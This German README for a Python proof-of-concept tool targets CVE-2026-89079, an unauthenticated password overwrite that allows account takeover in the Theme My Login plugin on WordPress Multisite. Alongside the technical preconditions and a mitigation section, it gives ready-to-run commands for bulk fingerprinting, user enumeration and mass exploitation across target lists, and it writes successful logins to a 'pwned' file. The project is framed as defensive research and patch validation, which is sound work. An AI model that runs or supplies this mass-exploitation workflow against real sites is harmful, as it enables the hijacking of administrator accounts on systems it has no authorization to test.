
Python-PoC für CVE-2026-89079: Fingerprinting von Theme My Login <=7.2.1 auf WordPress-Multisite, anschließend Ausnutzung der unauthentifizierten Passwort-Überschreibung über „Passwort vergessen“ und Verifizierung des Logins.
Sicherheitsforschungstooling für CVE-2026-89079: unauthentifizierte Account-Übernahme auf WordPress-Multisite, wenn Theme My Login ≤ 7.2.1 die Netzwerkoption tml_user_passwords aktiviert hat.
Nur für autorisierte Tests. Nicht gegen Systeme verwenden, die Sie nicht besitzen oder für die Sie keine schriftliche Testgenehmigung haben.
| Plugin | Theme My Login |
| Betroffen | ≤ 7.2.1 |
| Behoben | 7.2.2+ (06b7623) |
| CWE | CWE-269 Unsachgemäße Privilegienverwaltung |
| CVSS 3.1 | 9.8 (Kritisch) |
Alle drei Bedingungen müssen zutreffen:
is_multisite() — ms-hooks.php wird nur auf echter WordPress-Multisite geladen (nicht bei TML /register/ auf Single-Site).get_site_option( 'tml_user_passwords' ) — netzwerkweite „benutzergewählte Registrierungspasswörter“.tml_ms_filter_pre_insert_user_data() wendet $_POST['user_pass1'] auf retrieve_password() → wp_update_user() an.Eine checkemail=confirm-Antwort nach einem Lost-Password-POST beweist nicht, dass das Passwort geändert wurde; sie ist normales WordPress-Verhalten, wenn der anfällige Filter inaktiv ist.
CVE-2026-89079/
├── poc.py # CLI: mass check / exploit / verify-only
├── tml_core.py # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│ └── test_tml_core.py
└── lab/
└── README.md # Disposable WP multisite lab notes
git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt
python poc.py --check https://target.example.com
# Bulk
python poc.py -f targets.txt --mode check -j 30 -q
# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q
Ausgaben (Standardwerte):
| Datei | Inhalt |
|---|---|
cve_2026_89079_results.jsonl | Alle Ziele + finding_status, Multisite- / user_pass1-Hinweise |
cve_2026_89079_vuln.txt | TML ≤ 7.2.1 (Tab: URL, Version, optional best_login) |
cve_2026_89079_eligible.txt | Strengere Heuristik: Netzwerk-Registrierung + Registrierung user_pass1 (keine Garantie) |
finding_status-Werte umfassen: NOT_DETECTED, PATCHED, POTENTIALLY_VULNERABLE, PRECONDITIONS_UNKNOWN, VERIFICATION_INCONCLUSIVE, NETWORK_ERROR.
# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit
# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
Nützliche Flags:
| Flag | Zweck |
|---|---|
--no-require-multisite | Versuch auch dann, wenn die Multisite-Heuristik fehlschlägt (viele Single-Site-TML-Seiten) |
--require-user-passwords | Überspringen, wenn Anmeldeseiten user_pass1 fehlt |
--only-eligible | Nur Zeilen mit exploit_eligible aus vorherigem --check-jsonl ausnutzen |
--verify-only | Kein Passwort-POST / kein Login — nur Formular- und Endpoint-Diagnose |
--skip-version-check | Versuch erzwingen, wenn die Readme blockiert ist |
-q | Ruhigeres Bulk-Logging |
Ausgaben: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt (erfolgreiche Logins).
python -m unittest discover -s tests -v
tml_lost_password_handler() → Kernfunktion retrieve_password().wp_pre_insert_user_data ignoriert Aktualisierungen während des Vorgangs zum Zurücksetzen des Passworts ($update).wp-signup.php → /register/ (häufiges falsch-positives Ergebnis bei Single-Site-TML).html.parser geparst; unterstützt TML-AJAX-Passwort-Reset, sofern konfiguriert.tml_user_passwords oder das Plugin, bis ein Patch verfügbar ist.user_pass1 enthalten.Dieses Projekt dient der defensiven Sicherheitsforschung, der Patch-Validierung und autorisierten Penetrationstests. Missbrauch ist untersagt. Die Autoren übernehmen keine Haftung für unbefugte Nutzung.